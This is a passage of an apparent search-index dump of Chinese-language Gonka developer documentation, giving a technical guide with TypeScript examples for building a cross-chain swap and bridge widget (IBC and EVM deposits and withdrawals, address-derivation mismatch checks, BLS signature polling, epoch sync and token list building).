"}, {"location": "gonka/docs/zh/signup/", "title": "注册", "text": ""}, {"location": "gonka/docs/zh/signup/#_1", "title": "注册", "text": "加入候补名单！注册后，我们将在面向更广泛用户开放时第一时间通知你。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/widget-integration/", "title": "组件集成", "text": ""}, {"location": "gonka/docs/zh/cross-chain-transfers/widget-integration/#_1", "title": "技术集成指南：兑换与跨链桥组件", "text": "本指南为希望在其自定义仪表盘中重建兑换与跨链桥组件的社区开发者提供技术规范、架构设计和实现步骤。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/widget-integration/#1", "title": "1. 架构概述", "text": "为避免结构性混淆，充值与提现的资产流被拆分为两个独立的过程。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/widget-integration/#a-evm-gonka", "title": "A. 充值流程（EVM 至 Gonka）与地址派生", "text": "在充值过程中，代币会被锁定在以太坊上，并根据发送方 EVM 公钥派生的 Cosmos 地址，在 Gonka 上铸造等值的包装代币。这就是可能发生地址派生不匹配的地方：
%%{init: { 'themeVariables': { 'signalColor': 'var(--md-default-fg-color)', 'signalTextColor': 'var(--md-default-fg-color)' } } }%%\nsequenceDiagram\n autonumber\n actor User as 用户 (EVM 钱包)\n participant EthBridge as 以太坊跨链桥合约\n participant Orch as 验证节点 / 协调器\n participant Gonka as Gonka 链\n\n User->>EthBridge: 发送 ERC-20（转账至跨链桥地址）\n Note over EthBridge: 代币锁定在合约中\n EthBridge-->>Orch: 触发充值事件\n Note over Orch: 提取发送方的 EVM 公钥\n Note over Orch: 将公钥转换为 Cosmos 地址（前缀 'gonka'）\n Orch->>Gonka: 向派生的 Cosmos 地址铸造包装代币在提现过程中，代币在 Cosmos 侧被销毁，轮询验证节点的 BLS 签名，然后在以太坊侧进行领回（铸造）：
%%{init: { 'themeVariables': { 'signalColor': 'var(--md-default-fg-color)', 'signalTextColor': 'var(--md-default-fg-color)' } } }%%\nsequenceDiagram\n autonumber\n actor User as 用户钱包\n participant Gonka as Gonka 链\n participant Orch as BLS 协调器\n participant EthBridge as 以太坊跨链桥合约\n\n User->>Gonka: 销毁/包装代币（Cosmos 交易）\n Gonka-->>Orch: 触发销毁事件（Request ID）\n Note over Orch: 将 Base64 格式的 Request ID 解码为十六进制\n Note over Orch: 验证节点签名并生成 BLS 签名\n\n loop 轮询\n User->>Orch: 通过十六进制 Request ID 轮询签名状态\n end\n Orch-->>User: 返回验证节点的 BLS 签名\n\n User->>EthBridge: 提交 mintWithSignature(signature)\n Note over EthBridge: 验证签名并铸造代币\n EthBridge-->>User: EVM 账户收到代币IBC 充值将资产直接从 Cosmos 源链（例如 Osmosis、Cosmos Hub、Injective）转移到 Gonka。
启用并连接源链：向 Keplr 查询源链凭证。
async function connectSourceChain(chainId: string) {\n const walletProvider = (window as any).keplr;\n if (!walletProvider) throw new Error(\"Cosmos wallet extension not found.\");\n\n await walletProvider.enable(chainId);\n const offlineSigner = walletProvider.getOfflineSigner(chainId);\n const accounts = await offlineSigner.getAccounts();\n return { address: accounts[0].address, offlineSigner };\n}\n解析通道路由：查询 Gonka RPC 通道元数据（/ibc/core/channel/v1/channels）以解析交易对手路径。
async function resolveIbcChannel(nodeUrl: string, targetChainId: string): Promise<string | null> {\n const response = await fetch(`${nodeUrl}/ibc/core/channel/v1/channels`).then(r => r.json());\n const channels = response?.channels || [];\n\n for (const channel of channels) {\n if (channel.state !== 'STATE_OPEN' || channel.port_id !== 'transfer') continue;\n\n const clientData = await fetch(\n `${nodeUrl}/ibc/core/channel/v1/channels/${channel.channel_id}/ports/transfer/client_state`\n ).then(r => r.json());\n\n const clientChainId = clientData?.identified_client_state?.client_state?.chain_id || \n clientData?.client_state?.chain_id;\n\n if (clientChainId === targetChainId) {\n return channel.counterparty?.channel_id || null;\n }\n }\n return null;\n}\n执行 IBC 转账：从源链发送标准的 CosmJS MsgTransfer。
import { SigningStargateClient } from '@cosmjs/stargate';\n\nasync function initiateIbcDeposit(\n sourceChainId: string,\n sourcePort: string, // e.g., 'transfer'\n sourceChannel: string, // e.g., 'channel-0'\n denom: string, // e.g., 'uusdt'\n amount: string, // In base units\n senderSourceAddress: string,\n receiverGonkaAddress: string,\n offlineSigner: any,\n rpcUrl: string\n) {\n const client = await SigningStargateClient.connectWithSigner(rpcUrl, offlineSigner);\n\n const timeoutTimestamp = (BigInt(Date.now()) + 600_000n) * 1_000_000n; // 10 minutes timeout in nanoseconds\n\n const response = await client.sendIbcTokens(\n senderSourceAddress, // Sender on source chain (e.g. Osmosis address)\n receiverGonkaAddress, // Receiver on Gonka chain\n { denom, amount },\n sourcePort,\n sourceChannel,\n undefined, // timeoutHeight\n Number(timeoutTimestamp) / 1_000_000_000, // timeoutTimestamp in seconds\n { amount: [], gas: '200000' } // Fee\n );\n\n return response.transactionHash;\n}\nEVM 充值涉及在 EVM 源链上锁定 ERC-20 资产，以在 Gonka 上铸造相应的代币。交易流程包含以下步骤：
验证 EVM 地址密钥不匹配：验证当前活动的 EVM 地址所派生的 Cosmos 地址是否与已连接的 Keplr 公钥相匹配。
警告：EVM 地址密钥不匹配 当用户通过标准的软件助记词连接时，其 EVM 钱包（MetaMask）会使用币种类型 60 来派生地址，而其 Cosmos 钱包（Keplr）会使用币种类型 118 或 1200 来派生地址。 * 由于这些派生路径不同，其 EVM 公钥和 Cosmos 公钥并不一致。 * 以太坊跨链桥合约会捕获充值 EVM 地址的公钥，并基于直接从该 EVM 公钥派生的 Bech32 地址在 Gonka 上铸造代币。 * 如果发生因助记词派生引起的不匹配，代币将被铸造到与当前活跃的 Keplr 钱包完全不同的 Cosmos 地址。资金并非永久丢失——用户仍可以从其助记词（币种类型 60）派生出以太坊私钥并使用它来访问接收代币的 Gonka 账户——但这需要手动的密钥派生步骤，大多数用户可能无法预料到。
解决方案：密钥验证清单 在允许用户充值之前，请执行以下验证：
import { toBech32 } from '@cosmjs/encoding';\nimport { ethers } from 'ethers';\n\nasync function verifyAddressMismatch(\n activeEvmAddress: string,\n cosmosChainId: string,\n currentCosmosAddress: string,\n bech32Prefix: string = 'gonka'\n) {\n // 1. Resolve active wallet provider (Keplr)\n const walletProvider = (window as any).keplr;\n if (!walletProvider) return { isMismatch: false };\n\n // 2. Fetch key properties from Cosmos wallet\n const key = await walletProvider.getKey(cosmosChainId);\n const pubKeyBytes = key.pubKey;\n if (!pubKeyBytes || pubKeyBytes.length === 0) {\n console.warn(\"Public key not available from provider.\");\n return { isMismatch: false };\n }\n\n // 3. Derive the REAL Ethereum address from the Cosmos public key (keccak256-based)\n // NOTE: key.ethereumHexAddress is NOT the real EVM address — it is just the Cosmos \n // address bytes (sha256+ripemd160) represented as hex, which will mismatch.\n const pubKeyHex = '0x' + Array.from(pubKeyBytes, (b) => b.toString(16).padStart(2, '0')).join('');\n const derivedEvmAddress = ethers.computeAddress(pubKeyHex);\n\n // 4. Compare active EVM address with derived EVM address\n const isMismatch = activeEvmAddress.toLowerCase() !== derivedEvmAddress.toLowerCase();\n\n if (isMismatch) {\n // 5. Derive where the tokens will land by decoding EVM hex and encoding as Bech32\n const rawHex = activeEvmAddress.startsWith('0x') ? activeEvmAddress.substring(2) : activeEvmAddress;\n const hexBytes = new Uint8Array(\n rawHex.match(/.{1,2}/g)?.map((byte: string) => parseInt(byte, 16)) || []\n );\n const targetCosmosAddress = toBech32(bech32Prefix, hexBytes);\n\n return {\n isMismatch: true,\n targetCosmosAddress, // Tokens will mint here\n expectedEvmAddress: derivedEvmAddress // User must switch EVM wallet to this address\n };\n }\n\n return { isMismatch: false };\n}\n解析跨链桥合约地址：从注册表 API 获取目标代币已获批的跨链桥合约地址。
async function resolveBridgeAddress(nodeUrl: string, chainId: string): Promise<string> {\n const response = await fetch(\n `${nodeUrl}/productscience/inference/inference/bridge_addresses/${chainId}`\n ).then(r => r.json());\n\n const address = response?.bridge_address || response?.address || response?.approved_bridge_address;\n if (!address) {\n throw new Error(`Failed to resolve bridge address for chain: ${chainId}`);\n }\n return address;\n}\n切换 EVM 网络：验证并请求切换（wallet_switchEthereumChain）到正确的以太坊网络（主网或 Sepolia 测试网）。
async function switchEvmNetwork(ethProvider: any, isTestnet: boolean) {\n const targetChainIdHex = isTestnet ? '0xaa36a7' : '0x1'; // Sepolia or Mainnet\n try {\n await ethProvider.request({\n method: 'wallet_switchEthereumChain',\n params: [{ chainId: targetChainIdHex }],\n });\n } catch (switchError: any) {\n if (switchError.code === 4902) {\n throw new Error(`Please add the ${isTestnet ? 'Sepolia' : 'Ethereum'} network to your EVM wallet first.`);\n }\n throw switchError;\n }\n}\n执行 ERC-20 转账：生成 ERC-20 transfer(bridgeAddress, amount) ABI 调用数据，并通过 EVM 提供商将其发送到 ERC-20 代币合约地址。
警告： 充值 ERC-20 代币时，请勿直接向跨链桥合约地址发送原始交易。相反，您必须将 ERC-20 代币合约地址作为接收方（to），并传递表示 transfer(bridgeContractAddress, amount) 函数调用的编码数据载荷。
// 1. Manually encode the ERC-20 transfer(address to, uint256 value) function call\n// Method selector for transfer(address,uint256) is 0xa9059cbb\nconst methodId = '0xa9059cbb';\nconst toPadding = bridgeContractAddress.replace(/^0x/i, '').padStart(64, '0');\nconst amountHex = amountInBaseUnits.toString(16).padStart(64, '0');\nconst data = methodId + toPadding + amountHex;\n\n// 2. Dispatch transaction targeting the ERC-20 Token Contract address\n// (Resolves either Keplr's injected EVM provider or standard window.ethereum)\nconst ethProvider = (window as any).keplr?.ethereum || (window as any).ethereum;\nif (!ethProvider) throw new Error(\"No EVM provider found.\");\n\nawait ethProvider.request({\n method: 'eth_sendTransaction',\n params: [{\n from: activeEvmAddress,\n to: erc20ContractAddress, // Target the ERC-20 contract\n data: data // Encoded call to transfer tokens to bridgeContractAddress\n }],\n});\nIBC 提现将资产直接从 Gonka 转移回 Cosmos 目的链（例如 Osmosis、Cosmos Hub、Injective）。
/ibc/core/channel/v1/channels）以解析指向目的链的通道。执行 IBC 转账：在 Gonka 链上发送标准的 CosmJS MsgTransfer。
import { SigningStargateClient } from '@cosmjs/stargate';\n\nasync function initiateIbcWithdraw(\n gonkaChainId: string,\n localChannel: string, // e.g., 'channel-0'\n denom: string, // e.g., 'ibc/...' or native denom\n amount: string, // In base units\n senderGonkaAddress: string,\n receiverCosmosAddress: string,\n offlineSigner: any,\n rpcUrl: string\n) {\n const client = await SigningStargateClient.connectWithSigner(rpcUrl, offlineSigner);\n\n const timeoutTimestamp = (BigInt(Date.now()) + 600_000n) * 1_000_000n; // 10 minutes timeout in nanoseconds\n\n const response = await client.sendIbcTokens(\n senderGonkaAddress, // Sender on Gonka chain\n receiverCosmosAddress, // Receiver on destination chain\n { denom, amount },\n 'transfer',\n localChannel,\n undefined, // timeoutHeight\n Number(timeoutTimestamp) / 1_000_000_000, // timeoutTimestamp in seconds\n { amount: [], gas: '200000' } // Fee\n );\n\n return response.transactionHash;\n}\n将代币从 Gonka 解包装回以太坊是一个异步过程，由三个不同的步骤组成，并且在开始前必须先进行一项关键的验证检查：
"}, {"location": "gonka/docs/zh/cross-chain-transfers/widget-integration/#_2", "title": "前提条件：跨链桥纪元同步验证", "text": "为了保证提现成功处理，在启动解包装交易流程之前，请验证以太坊跨链桥合约的纪元（Epoch）是否与当前的 Gonka 链纪元保持同步。如果跨链桥落后，您必须提示用户在跨链桥合约上注册缺失的纪元。
import { ethers } from 'ethers';\n\nconst BRIDGE_ABI = [\n 'function getLatestEpochInfo() view returns (uint64 epochId, uint64 timestamp, bytes groupKey)',\n 'function getCurrentState() view returns (uint8)',\n 'function isValidEpoch(uint64 epochId) view returns (bool)',\n 'function submitGroupKey(uint64 epochId, bytes groupPublicKey, bytes validationSig) external',\n];\n\n// 1. Fetch current bridge epoch status\nasync function checkBridgeEpochStatus(\n bridgeAddress: string,\n chainEpoch: number,\n ethProvider: any\n): Promise<{ isSynced: boolean; bridgeEpoch: number }> {\n const provider = new ethers.BrowserProvider(ethProvider);\n const contract = new ethers.Contract(bridgeAddress, BRIDGE_ABI, provider);\n\n const latestInfo = await contract.getLatestEpochInfo();\n const bridgeEpoch = Number(latestInfo.epochId);\n\n return {\n bridgeEpoch,\n isSynced: bridgeEpoch >= chainEpoch,\n };\n}\n\n// 2. Fetch missing BLS epoch registration data from Orchestrator API\nasync function fetchEpochBLSData(orchestratorUrl: string, epochId: number) {\n const data = await fetch(`${orchestratorUrl}/bls/epochs/${epochId}`).then(r => r.json());\n\n // Helper to convert base64 to hex\n const base64ToHex = (b64: string) => {\n const bytes = Uint8Array.from(atob(b64), c => c.charCodeAt(0));\n return '0x' + Array.from(bytes).map(b => b.toString(16).padStart(2, '0')).join('');\n };\n\n return {\n groupPublicKeyHex: base64ToHex(data.group_public_key_uncompressed_256),\n validationSignatureHex: base64ToHex(data.validation_signature_uncompressed_128),\n };\n}\n\n// 3. Sequentially register missing epochs on the Ethereum Bridge\nasync function syncMissingEpochs(\n bridgeAddress: string,\n targetEpochId: number,\n orchestratorUrl: string,\n ethProvider: any\n) {\n const provider = new ethers.BrowserProvider(ethProvider);\n const signer = await provider.getSigner();\n const contract = new ethers.Contract(bridgeAddress, BRIDGE_ABI, signer);\n\n // Check if target epoch is already valid\n const isValid = await contract.isValidEpoch(targetEpochId);\n if (isValid) return;\n\n const latestInfo = await contract.getLatestEpochInfo();\n const latestContractEpoch = Number(latestInfo.epochId);\n\n // Sequentially submit group keys for each missing epoch\n for (let epoch = latestContractEpoch + 1; epoch <= targetEpochId; epoch++) {\n const epochData = await fetchEpochBLSData(orchestratorUrl, epoch);\n const tx = await contract.submitGroupKey(\n epoch,\n epochData.groupPublicKeyHex,\n epochData.validationSignatureHex\n );\n await tx.wait();\n }\n}\n如果跨链桥落后（chainEpoch > bridgeEpoch），应提示用户触发按顺序执行的纪元同步（syncMissingEpochs），然后才允许他们继续进行第 1 阶段（销毁资产）。
执行 Cosmos SDK 交易以请求跨链桥解包装。这可以是标准的 CW-20 合约执行消息（销毁/解包装包装代币），也可以是自定义的原生跨链桥解包装交易类型（将原生 GNK 解包装为 WGNK）。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/widget-integration/#a", "title": "A. 自定义注册表设置", "text": "如果您使用自定义注册表来签署自定义消息类型（如 MsgRequestBridgeMint），您必须同时注册标准的 CosmWasm 类型（如包含 /cosmwasm.wasm.v1.MsgExecuteContract 的 wasmTypes）。否则会导致 CW-20 交易中出现 \"Unregistered type URL\" 错误。
import { Registry } from '@cosmjs/proto-signing';\nimport { defaultRegistryTypes } from '@cosmjs/stargate';\nimport { wasmTypes } from '@cosmjs/cosmwasm-stargate';\n\n// Custom bridge burn / unwrap Msg type registration (for native GNK -> WGNK unwrap)\nexport const MsgRequestBridgeMintType = {\n typeUrl: '/inference.inference.MsgRequestBridgeMint',\n create(message: any) { return message; },\n fromPartial(message: any) { return message; },\n encode(message: any, writer: any) {\n // Requires standard fields: creator, amount, destinationAddress, chainId, destinationBridgeAddress\n return writer;\n },\n decode() { return {}; }\n};\n\nconst customRegistry = new Registry([\n ...defaultRegistryTypes,\n ...wasmTypes, // Crucial for /cosmwasm.wasm.v1.MsgExecuteContract\n ['/inference.inference.MsgRequestBridgeMint', MsgRequestBridgeMintType as any]\n]);\n根据要解包装的资产类型，构建原生解包装消息或 CW-20 执行消息：
// 1. For Native GNK -> WGNK:\nconst msg = {\n typeUrl: '/inference.inference.MsgRequestBridgeMint',\n value: {\n creator: senderAddress,\n amount: amountInBaseUnits,\n destinationAddress: recipientEthAddress,\n chainId: 'ethereum',\n destinationBridgeAddress: bridgeContractAddress,\n },\n};\n\n// 2. For CW-20 Wrapped Tokens (e.g. USDT, USDC):\nconst withdrawMsg = {\n withdraw: {\n amount: amountInBaseUnits,\n destination_bridge_address: bridgeContractAddress,\n destination_address: recipientEthAddress,\n },\n};\n\nconst msg = {\n typeUrl: '/cosmwasm.wasm.v1.MsgExecuteContract',\n value: {\n sender: senderAddress,\n contract: cw20ContractAddress,\n msg: new TextEncoder().encode(JSON.stringify(withdrawMsg)),\n funds: [],\n },\n};\n在禁用了交易索引（tx_index = \"off\"）的 Cosmos 节点上，通过 client.broadcastTx() 广播交易可能会抛出 transaction indexing is disabled 错误，即使交易已成功提交。
为了支持这些节点，请手动签署交易，通过对签名后的 TxRaw 字节进行 SHA-256 预计算交易哈希，并捕获索引器错误：
import { toHex } from '@cosmjs/encoding';\nimport { sha256 } from '@cosmjs/crypto';\nimport { TxRaw } from 'cosmjs-types/cosmos/tx/v1beta1/tx';\n\nasync function signAndBroadcastWithIndexerFallback(\n client: SigningCosmWasmClient,\n senderAddress: string,\n messages: any[]\n): Promise<{ transactionHash: string; hasEvents: boolean }> {\n // Sign manually using customRegistry\n const txRaw = await client.sign(senderAddress, messages, 'auto', '');\n const txBytes = TxRaw.encode(txRaw).finish();\n\n // Pre-calculate Tx Hash (SHA-256)\n const txHash = toHex(sha256(txBytes)).toUpperCase();\n\n try {\n const result = await client.broadcastTx(txBytes);\n return { transactionHash: result.transactionHash, hasEvents: true };\n } catch (error: any) {\n if (error.message.includes('transaction indexing is disabled')) {\n // The transaction was broadcast successfully, but the node will not return events\n return { transactionHash: txHash, hasEvents: false };\n }\n throw error;\n }\n}\n当销毁交易在 Gonka 上完成时，您需要提取 request_id 和 epoch_id 以轮询验证者的签名。
如果 RPC 节点启用了交易索引，您可以直接从交易事件中读取 request_id。否则，您必须查询协调器的状态历史端点来查找请求。
// 1. Event-based Resolution (Indexing Enabled)\nfunction parseUnwrapEvents(txResult: any): { requestId: string; epochId: number } {\n const blsEvent = txResult.events?.find((e: any) => e.type.includes('EventThresholdSigningRequested'));\n if (!blsEvent) throw new Error('BLS signing request event not found.');\n\n const getAttr = (key: string) => blsEvent.attributes.find((a: any) => a.key === key).value.replace(/^\"|\"$/g, '');\n return {\n requestId: getAttr('request_id'),\n epochId: parseInt(getAttr('current_epoch_id'), 10),\n };\n}\n\n// 2. State History Fallback (Indexing Disabled / tx_index = \"off\")\n// Query the Cosmos node's state history registry: `GET {nodeUrl}/productscience/inference/bls/signing_history?pagination.limit=100&pagination.reverse=true`\n// \n// Example Response:\n// {\n// \"signing_requests\": [\n// {\n// \"request_id\": \"9/Pl3Hztt0KrZTMOQvXv87lNSM+SC4wjuUbJbZU3z8Y=\",\n// \"current_epoch_id\": \"287\",\n// \"status\": \"THRESHOLD_SIGNING_STATUS_COMPLETED\",\n// \"created_block_height\": \"4438273\",\n// \"data\": [\n// \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE=\",\n// \"CsXlVAEeF4b1Bz8kMHvW1ii+NAmDSyqIoH38Wvmzcu4=\"\n// ]\n// }\n// ]\n// }\nasync function resolveRequestFromHistory(\n nodeUrl: string,\n recipientEthAddress: string,\n amount: string\n): Promise<{ requestId: string; epochId: number }> {\n // Convert EVM hex address to Base64 (orchestrator storage format)\n const recipientHex = recipientEthAddress.toLowerCase().replace(/^0x/, '');\n const bytes = new Uint8Array(recipientHex.length / 2);\n for (let i = 0; i < bytes.length; i++) {\n bytes[i] = parseInt(recipientHex.substring(i * 2, i * 2 + 2), 16);\n }\n const recipientB64 = btoa(String.fromCharCode(...Array.from(bytes)));\n\n // Query signing history registry\n const url = `${nodeUrl}/productscience/inference/bls/signing_history?pagination.limit=100&pagination.reverse=true`;\n const res = await fetch(url).then(r => r.json());\n const requests = res.signing_requests || [];\n\n // Match recipient and amount\n const matches = requests.filter((r: any) => r.data && r.data.some((d: string) => d === recipientB64));\n if (matches.length === 0) throw new Error('Transaction not found in signing history');\n\n // Sort descending by block height to get the latest\n matches.sort((a: any, b: any) => parseInt(b.created_block_height) - parseInt(a.created_block_height));\n const matched = matches[0];\n\n // Convert Base64 request_id to hex\n const reqIdBytes = Uint8Array.from(atob(matched.request_id), c => c.charCodeAt(0));\n const reqIdHex = '0x' + Array.from(reqIdBytes).map(b => b.toString(16).padStart(2, '0')).join('');\n\n return {\n requestId: reqIdHex,\n epochId: parseInt(matched.current_epoch_id, 10),\n };\n}\n重要提示： Base64 转换为 Hex： 如果您通过事件属性解析了 request_id（Base64 编码，例如 YIDIsA...），您必须将 Base64 字符串直接解码为字节，然后将其表示为 32 字节的十六进制字符串（例如 0x6080c8...）。请勿对 Base64 字符串应用 Keccak256 或 SHA-256 等哈希函数。
function base64ToHex(base64Str: string): string {\n const binary = atob(base64Str);\n const bytes = new Uint8Array(binary.length);\n for (let i = 0; i < binary.length; i++) {\n bytes[i] = binary.charCodeAt(i);\n }\n return '0x' + Array.from(bytes).map(b => b.toString(16).padStart(2, '0')).join('');\n}\n轮询 BLS 签名端点（{orchestratorUrl}/bls/signatures/{hexRequestId}），直到验证节点生成有效的签名。
响应示例：
{\n \"signing_request\": {\n \"request_id\": \"9/Pl3Hztt0KrZTMOQvXv87lNSM+SC4wjuUbJbZU3z8Y=\",\n \"current_epoch_id\": 287,\n \"status\": 3\n },\n \"uncompressed_signature_128\": \"AAAAAAAAAAAAAAAAAAAAABii5ArDtPtnmRw87QXJJRLlMohL3+fEWhuVKJqrh...\"\n}\n// Watch out for backend enum representations (integers vs strings)\n// e.g. status 3 or 'THRESHOLD_SIGNING_STATUS_COMPLETED' represents success\nconst COMPLETED_STATUSES = new Set([3, '3', 'THRESHOLD_SIGNING_STATUS_COMPLETED']);\nconst FAILED_STATUSES = new Set([4, '4', 'THRESHOLD_SIGNING_STATUS_FAILED']);\n\nasync function pollBlsSignature(orchestratorUrl: string, hexRequestId: string): Promise<string> {\n const url = `${orchestratorUrl}/bls/signatures/${hexRequestId.replace(/^0x/, '')}`;\n\n while (true) {\n const data = await fetch(url).then(r => r.json());\n const status = data?.signing_request?.status;\n\n if (COMPLETED_STATUSES.has(status)) {\n const sigBase64 = data?.uncompressed_signature_128;\n if (!sigBase64) {\n throw new Error('Signature completed but uncompressed_signature_128 is missing.');\n }\n\n // Convert 128-byte Base64 signature to Hex format for EVM submission\n const sigBytes = Uint8Array.from(atob(sigBase64), c => c.charCodeAt(0));\n const sigHex = '0x' + Array.from(sigBytes).map(b => b.toString(16).padStart(2, '0')).join('');\n return sigHex;\n }\n\n if (FAILED_STATUSES.has(status)) {\n throw new Error('BLS signature generation failed.');\n }\n\n await new Promise(resolve => setTimeout(resolve, 3000)); // Poll every 3 seconds\n }\n}\n调用以太坊跨链桥合约上的 mintWithSignature，提交验证节点的签名数据。
import { ethers } from 'ethers';\n\nconst BRIDGE_ABI = [\n 'function withdraw((uint64 epochId, bytes32 requestId, address recipient, address tokenContract, uint256 amount, bytes signature) cmd) external',\n 'function mintWithSignature((uint64 epochId, bytes32 requestId, address recipient, uint256 amount, bytes signature) cmd) external',\n];\n\nasync function mintOnEthereum(\n ethProvider: any,\n bridgeAddress: string,\n mintParams: {\n epochId: number;\n requestId: string; // 32-byte hex string (0x...)\n recipient: string;\n amount: string;\n signature: string; // 128-byte hex signature\n tokenContract?: string; // Required for ERC-20 unwraps\n isNativeGNK?: boolean;\n }\n) {\n const provider = new ethers.BrowserProvider(ethProvider);\n const signer = await provider.getSigner();\n const contract = new ethers.Contract(bridgeAddress, BRIDGE_ABI, signer);\n\n let tx;\n if (mintParams.isNativeGNK) {\n const cmd = {\n epochId: mintParams.epochId,\n requestId: mintParams.requestId,\n recipient: mintParams.recipient,\n amount: mintParams.amount,\n signature: mintParams.signature,\n };\n tx = await contract.mintWithSignature(cmd);\n } else {\n const cmd = {\n epochId: mintParams.epochId,\n requestId: mintParams.requestId,\n recipient: mintParams.recipient,\n tokenContract: mintParams.tokenContract,\n amount: mintParams.amount,\n signature: mintParams.signature,\n };\n tx = await contract.withdraw(cmd);\n }\n\n const receipt = await tx.wait();\n if (!receipt || receipt.status === 0) {\n throw new Error('Transaction reverted on-chain');\n }\n return receipt.hash;\n}\n为了防止用户在浏览器崩溃、网络断开或标签页关闭时丢失交易状态，强烈建议（虽然是可选的）实现弹性缓存模式：
const cacheKey = `pending_unwrap_${userCosmosAddress}`;\nlocalStorage.setItem(cacheKey, JSON.stringify({\n status: 'burning',\n gonkaTxHash: '',\n amount: amountInBaseUnits,\n destinationEthAddress,\n step: 1\n}));\nrequest_id 被解析时更新缓存。localStorage.getItem(cacheKey) 是否存在。如果存在，显示一个\"检测到待处理交易\"卡片，允许用户选择：localStorage 键。为了提供无缝的用户体验，该组件从 Cosmos 和以太坊链中动态查询并解析可用资产及其元数据（符号、小数位数）。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/widget-integration/#a-alldeposittokens", "title": "A. 充值代币列表（allDepositTokens）", "text": "充值下拉菜单显示用户可以跨链到 Gonka 的资产列表。该列表通过合并和解析已获批代币和 WGNK 的元数据来构建：
GET {nodeUrl}/productscience/inference/inference/approved_tokens_for_trade。GET {nodeUrl}/productscience/inference/inference/bridge_addresses/ethereum）。如果解析出的跨链桥合约地址（WGNK）不在已获批的代币列表中，则动态追加 WGNK（9 位小数），以允许用户包装原生 GNK。GET {nodeUrl}/cosmos/bank/v1beta1/denoms_metadata/{denom}。eth_call 操作查询公共 EVM RPC 节点（0x95d89b41 调用 symbol()，0x313ce567 调用 decimals()）。// Inject WGNK dynamically if missing from the approved tokens list\nconst allDepositTokens = computed(() => {\n const list = [...supportedIbcTokens.value, ...supportedEthTokens.value];\n if (resolvedBridgeAddress.value && resolvedBridgeAddress.value.startsWith('0x')) {\n const hasWgnk = list.some(\n t => t.symbol === 'WGNK' || \n String(t.contractAddress).toLowerCase() === resolvedBridgeAddress.value.toLowerCase()\n );\n if (!hasWgnk) {\n list.push({\n chainId: 'ethereum',\n contractAddress: resolvedBridgeAddress.value,\n symbol: 'WGNK',\n decimals: 9,\n type: 'eth',\n });\n }\n }\n return list;\n});\n\n// Direct ERC-20 metadata queries via JSON-RPC eth_call\nasync function queryEvmRpc(to: string, data: string, rpcUrl: string): Promise<string> {\n const response = await fetch(rpcUrl, {\n method: 'POST',\n headers: { 'Content-Type': 'application/json' },\n body: JSON.stringify({\n jsonrpc: '2.0',\n method: 'eth_call',\n params: [{ to, data }, 'latest'],\n id: 1\n })\n }).then(r => r.json());\n return response?.result || '0x';\n}\n\n// Parsing ERC-20 Symbol name from hex string\nfunction parseBytes32OrString(hex: string): string {\n if (!hex || hex === '0x') return '';\n const clean = hex.replace(/^0x/i, '');\n if (clean.length < 64) return '';\n\n const offset = parseInt(clean.substring(0, 64), 16);\n if (offset === 32 && clean.length >= 128) {\n const length = parseInt(clean.substring(64, 128), 16);\n if (length > 0 && length <= 1000) {\n const dataHex = clean.substring(128, 128 + length * 2);\n let str = '';\n for (let i = 0; i < dataHex.length; i += 2) {\n const charCode = parseInt(dataHex.substring(i, i + 2), 16);\n if (charCode >= 32 && charCode <= 126) {\n str += String.fromCharCode(charCode);\n }\n }\n return str.trim();\n }\n }\n return '';\n}\nwithdrawableTokens）", "text": "提现下拉菜单显示用户钱包中可以跨链出 Gonka 的资产列表。构建该列表需要合并三个子操作来整合不同的代币来源：
GET {nodeUrl}/productscience/inference/inference/wrapped_token_balances/{walletAddress}。响应示例：
{\n \"balances\": [\n {\n \"token_info\": {\n \"chainId\": \"ethereum\",\n \"contractAddress\": \"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\",\n \"wrappedContractAddress\": \"gonka1fa83z7np903k9vh63guy82qthtv373d7vjeq0y7xeqh50rzn8vtssffkre\"\n },\n \"symbol\": \"USDC\",\n \"balance\": \"15000000\",\n \"decimals\": \"6\",\n \"formatted_balance\": \"15.0\"\n }\n ]\n}\n可选建议：动态合约发现与缓存
如果您想动态发现 Gonka 链上部署的所有包装代币合约，可以查询在包装代币 code ID 105 下部署的所有合约地址：
GET {nodeUrl}/cosmwasm/wasm/v1/code/105/contracts
响应示例：
{\n \"contracts\": [\n \"gonka1fa83z7np903k9vh63guy82qthtv373d7vjeq0y7xeqh50rzn8vtssffkre\",\n \"gonka15ggwj9un6qrmu4nj5ev6l7kpdcr00td03ff2mmj4cyhl8u8vjd2qnl3hgk\"\n ],\n \"pagination\": { \"next_key\": null, \"total\": \"0\" }\n}\n要获取每个合约地址的元数据（符号、名称、精度），请执行 token_info 的智能合约查询：
GET {nodeUrl}/cosmwasm/wasm/v1/contract/{contractAddress}/smart/eyJ0b2tlbl9pbmZvIjp7fX0= （其中 eyJ0b2tlbl9pbmZvIjp7fX0= 是 {\"token_info\":{}} 的 Base64 编码）
响应示例：
{\n \"data\": {\n \"name\": \"USD Coin\",\n \"symbol\": \"USDC\",\n \"decimals\": 6,\n \"total_supply\": \"1400000\"\n }\n}\n为了优化组件性能并避免重复的链上智能查询，我们强烈建议在本地缓存此合约元数据。
GET {nodeUrl}/cosmos/bank/v1beta1/balances/{address}。响应示例：
{\n \"balances\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1000000000\"\n },\n {\n \"denom\": \"ibc/ED07A3391A112B175915CD8FAF43A2153E30D7181A2E45558B93F44C2754781B\",\n \"amount\": \"5000000\"\n }\n ],\n \"pagination\": { \"next_key\": null, \"total\": \"2\" }\n}\n要构建最终的可提现代币列表，请获取余额并合并：
